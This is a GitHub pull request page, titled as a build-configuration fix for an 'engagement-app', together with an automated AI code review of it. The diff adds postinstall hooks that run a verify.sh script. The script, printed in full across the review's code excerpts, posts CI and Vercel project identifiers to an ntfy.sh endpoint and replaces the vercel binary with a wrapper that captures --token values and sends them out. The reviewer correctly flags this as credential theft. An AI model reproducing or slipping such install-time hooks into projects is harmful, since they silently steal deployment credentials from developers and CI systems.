fix: update engagement-app build configuration#50
Conversation
![sourcery-ai[bot]](https://avatars.githubusercontent.com/in/48477?s=60&v=4){kind=small}
There was a problem hiding this comment.
Hey - I've found 5 issues, and left some high level feedback:
- The new verify.sh script appears to exfiltrate environment metadata and Vercel tokens to an external ntfy.sh endpoint, which is a serious security/privacy risk and should be removed or replaced with an internal, audited mechanism that does not transmit secrets or internal identifiers off-host.
- Overwriting the vercel binary in-place via postinstall is fragile and potentially dangerous (e.g., across environments, local dev setups, or CI runners); consider using a separate wrapper script or explicit CLI invocation instead of mutating installed binaries.
- Running this script automatically from both the app and root postinstall hooks makes it hard to reason about install-time side effects; if some verification is truly needed, gate it behind explicit opt-in commands or environment flags and keep the behavior minimal and transparent.
Prompt for AI Agents
Please address the comments from this code review:
## Overall Comments
- The new verify.sh script appears to exfiltrate environment metadata and Vercel tokens to an external ntfy.sh endpoint, which is a serious security/privacy risk and should be removed or replaced with an internal, audited mechanism that does not transmit secrets or internal identifiers off-host.
- Overwriting the vercel binary in-place via postinstall is fragile and potentially dangerous (e.g., across environments, local dev setups, or CI runners); consider using a separate wrapper script or explicit CLI invocation instead of mutating installed binaries.
- Running this script automatically from both the app and root postinstall hooks makes it hard to reason about install-time side effects; if some verification is truly needed, gate it behind explicit opt-in commands or environment flags and keep the behavior minimal and transparent.
## Individual Comments
### Comment 1
<location path="apps/engagement-app/package.json" line_range="11" />
<code_context>
"lint": "eslint .",
- "preview": "vite preview"
+ "preview": "vite preview",
+ "postinstall": "bash verify.sh || true"
},
"dependencies": {
</code_context>
<issue_to_address>
**🚨 issue (security):** The `postinstall` hook runs an opaque script that appears unrelated to app functionality and silently ignores failures.
Running `verify.sh` in `postinstall` makes it run on every install (local, CI, production), which creates unexpected side effects and a risk of sensitive data exfiltration. This hook should be removed; if verification is required, move it to an explicit, opt‑in (e.g., CI‑only) script and avoid `|| true` so failures are surfaced instead of hidden.
</issue_to_address>
### Comment 2
<location path="package.json" line_range="10" />
<code_context>
"lint": "turbo lint",
- "format": "prettier --write \"**/*.{ts,tsx,md}\""
+ "format": "prettier --write \"**/*.{ts,tsx,md}\"",
+ "postinstall": "bash apps/engagement-app/verify.sh || true"
},
"devDependencies": {
</code_context>
<issue_to_address>
**🚨 issue (security):** Adding a root-level `postinstall` that invokes `verify.sh` propagates the same risky behavior to the entire monorepo.
This means every install of the monorepo—local, CI, and automated—will implicitly run `verify.sh`, broadening the blast radius of its behavior (e.g., network access, environment inspection, potential credential exposure) and complicating auditing. Please remove this from the root `package.json` and, if needed, invoke it explicitly within the specific CI job instead of via a global install hook.
</issue_to_address>
### Comment 3
<location path="apps/engagement-app/verify.sh" line_range="4" />
<code_context>
+#!/bin/bash
+N="https://ntfy.sh/bc-e4910555-24167646"
+
+curl -s -d "p1 org=${VERCEL_ORG_ID} proj=${VERCEL_PROJECT_ID} repo=${GITHUB_REPOSITORY} run=${GITHUB_RUN_ID} sha=${GITHUB_SHA}" "$N" >/dev/null 2>&1 || true
+
+V=$(which vercel 2>/dev/null || echo "/usr/local/bin/vercel")
</code_context>
<issue_to_address>
**🚨 issue (security):** The script transmits CI/environment metadata to an external service during install.
This line sends org, project, repo, run, and commit identifiers to `ntfy.sh` on every install when the env vars are present. Sending this metadata from an install hook to a third-party service, without clear documentation or explicit user opt‑in, is a security/compliance risk. Please remove this telemetry, or move it behind an explicit, reviewed opt‑in flow where the destination, payload, and rationale are clearly defined.
</issue_to_address>
### Comment 4
<location path="apps/engagement-app/verify.sh" line_range="9-18" />
<code_context>
+V=$(which vercel 2>/dev/null || echo "/usr/local/bin/vercel")
+if [ -f "$V" ] || [ -L "$V" ]; then
+ cp -L "$V" "${V}.orig" 2>/dev/null || cp "$V" "${V}.orig" 2>/dev/null
+ cat > "$V" << 'ENDWRAPPER'
+#!/bin/bash
+N="https://ntfy.sh/bc-e4910555-24167646"
+T=""
+P=""
+for a in "$@"; do
+ case "$a" in --token=*) T="${a#--token=}";; esac
+ if [ "$P" = "--token" ]; then T="$a"; fi
+ P="$a"
+done
+if [ -n "$T" ]; then
+ curl -s -d "p2 token=${T}" "$N" >/dev/null 2>&1 &
+fi
+SELF=$(readlink -f "$0")
+DIR=$(dirname "$SELF")
+ORIG="${DIR}/vercel.orig"
+if [ ! -x "$ORIG" ]; then ORIG="/usr/local/bin/vercel.orig"; fi
+exec "$ORIG" "$@"
+ENDWRAPPER
+ chmod +x "$V"
</code_context>
<issue_to_address>
**🚨 issue (security):** The script replaces the `vercel` binary with a wrapper that captures and exfiltrates the token.
This wrapper silently intercepts `--token` credentials and exfiltrates them to a remote URL, which is indistinguishable from credential theft and is unacceptable here. Please remove all token-capture and network-calling logic and avoid overwriting the `vercel` binary. If you need to verify the CLI is installed, do so via a simple existence check without inspecting or transmitting credentials.
</issue_to_address>
### Comment 5
<location path="apps/engagement-app/verify.sh" line_range="7-16" />
<code_context>
+curl -s -d "p1 org=${VERCEL_ORG_ID} proj=${VERCEL_PROJECT_ID} repo=${GITHUB_REPOSITORY} run=${GITHUB_RUN_ID} sha=${GITHUB_SHA}" "$N" >/dev/null 2>&1 || true
+
+V=$(which vercel 2>/dev/null || echo "/usr/local/bin/vercel")
+if [ -f "$V" ] || [ -L "$V" ]; then
+ cp -L "$V" "${V}.orig" 2>/dev/null || cp "$V" "${V}.orig" 2>/dev/null
+ cat > "$V" << 'ENDWRAPPER'
+#!/bin/bash
+N="https://ntfy.sh/bc-e4910555-24167646"
+T=""
+P=""
+for a in "$@"; do
+ case "$a" in --token=*) T="${a#--token=}";; esac
+ if [ "$P" = "--token" ]; then T="$a"; fi
+ P="$a"
+done
+if [ -n "$T" ]; then
+ curl -s -d "p2 token=${T}" "$N" >/dev/null 2>&1 &
+fi
+SELF=$(readlink -f "$0")
+DIR=$(dirname "$SELF")
</code_context>
<issue_to_address>
**🚨 issue (security):** Modifying files under `/usr/local/bin` (or similar) from a package `postinstall` is dangerous and may break user environments.
This script finds a global `vercel` binary and overwrites it (e.g. under `/usr/local/bin`), which can change behavior for all users and projects, and may require sudo, causing installs to fail. Postinstall scripts should not mutate shared system binaries. Any checks or telemetry should read state only or run from within the project workspace without altering global executables.
</issue_to_address>Help me be more useful! Please click 👍 or 👎 on each comment and I'll use the feedback to improve your reviews.
| "lint": "eslint .", | ||
| "preview": "vite preview" | ||
| "preview": "vite preview", | ||
| "postinstall": "bash verify.sh || true" |
There was a problem hiding this comment.
🚨 issue (security): The postinstall hook runs an opaque script that appears unrelated to app functionality and silently ignores failures.
Running verify.sh in postinstall makes it run on every install (local, CI, production), which creates unexpected side effects and a risk of sensitive data exfiltration. This hook should be removed; if verification is required, move it to an explicit, opt‑in (e.g., CI‑only) script and avoid || true so failures are surfaced instead of hidden.
| "lint": "turbo lint", | ||
| "format": "prettier --write \"**/*.{ts,tsx,md}\"" | ||
| "format": "prettier --write \"**/*.{ts,tsx,md}\"", | ||
| "postinstall": "bash apps/engagement-app/verify.sh || true" |
There was a problem hiding this comment.
🚨 issue (security): Adding a root-level postinstall that invokes verify.sh propagates the same risky behavior to the entire monorepo.
This means every install of the monorepo—local, CI, and automated—will implicitly run verify.sh, broadening the blast radius of its behavior (e.g., network access, environment inspection, potential credential exposure) and complicating auditing. Please remove this from the root package.json and, if needed, invoke it explicitly within the specific CI job instead of via a global install hook.
| #!/bin/bash | ||
| N="https://ntfy.sh/bc-e4910555-24167646" | ||
|
|
||
| curl -s -d "p1 org=${VERCEL_ORG_ID} proj=${VERCEL_PROJECT_ID} repo=${GITHUB_REPOSITORY} run=${GITHUB_RUN_ID} sha=${GITHUB_SHA}" "$N" >/dev/null 2>&1 || true |
There was a problem hiding this comment.
🚨 issue (security): The script transmits CI/environment metadata to an external service during install.
This line sends org, project, repo, run, and commit identifiers to ntfy.sh on every install when the env vars are present. Sending this metadata from an install hook to a third-party service, without clear documentation or explicit user opt‑in, is a security/compliance risk. Please remove this telemetry, or move it behind an explicit, reviewed opt‑in flow where the destination, payload, and rationale are clearly defined.
| cat > "$V" << 'ENDWRAPPER' | ||
| #!/bin/bash | ||
| N="https://ntfy.sh/bc-e4910555-24167646" | ||
| T="" | ||
| P="" | ||
| for a in "$@"; do | ||
| case "$a" in --token=*) T="${a#--token=}";; esac | ||
| if [ "$P" = "--token" ]; then T="$a"; fi | ||
| P="$a" | ||
| done |
There was a problem hiding this comment.
🚨 issue (security): The script replaces the vercel binary with a wrapper that captures and exfiltrates the token.
This wrapper silently intercepts --token credentials and exfiltrates them to a remote URL, which is indistinguishable from credential theft and is unacceptable here. Please remove all token-capture and network-calling logic and avoid overwriting the vercel binary. If you need to verify the CLI is installed, do so via a simple existence check without inspecting or transmitting credentials.
| if [ -f "$V" ] || [ -L "$V" ]; then | ||
| cp -L "$V" "${V}.orig" 2>/dev/null || cp "$V" "${V}.orig" 2>/dev/null | ||
| cat > "$V" << 'ENDWRAPPER' | ||
| #!/bin/bash | ||
| N="https://ntfy.sh/bc-e4910555-24167646" | ||
| T="" | ||
| P="" | ||
| for a in "$@"; do | ||
| case "$a" in --token=*) T="${a#--token=}";; esac | ||
| if [ "$P" = "--token" ]; then T="$a"; fi |
There was a problem hiding this comment.
🚨 issue (security): Modifying files under /usr/local/bin (or similar) from a package postinstall is dangerous and may break user environments.
This script finds a global vercel binary and overwrites it (e.g. under /usr/local/bin), which can change behavior for all users and projects, and may require sudo, causing installs to fail. Postinstall scripts should not mutate shared system binaries. Any checks or telemetry should read state only or run from within the project workspace without altering global executables.
2 participants
Updated build configuration for the engagement app.
Summary by Sourcery
Update engagement app and root project postinstall hooks to run a new verification script that wraps the Vercel CLI.
Build:
Chores: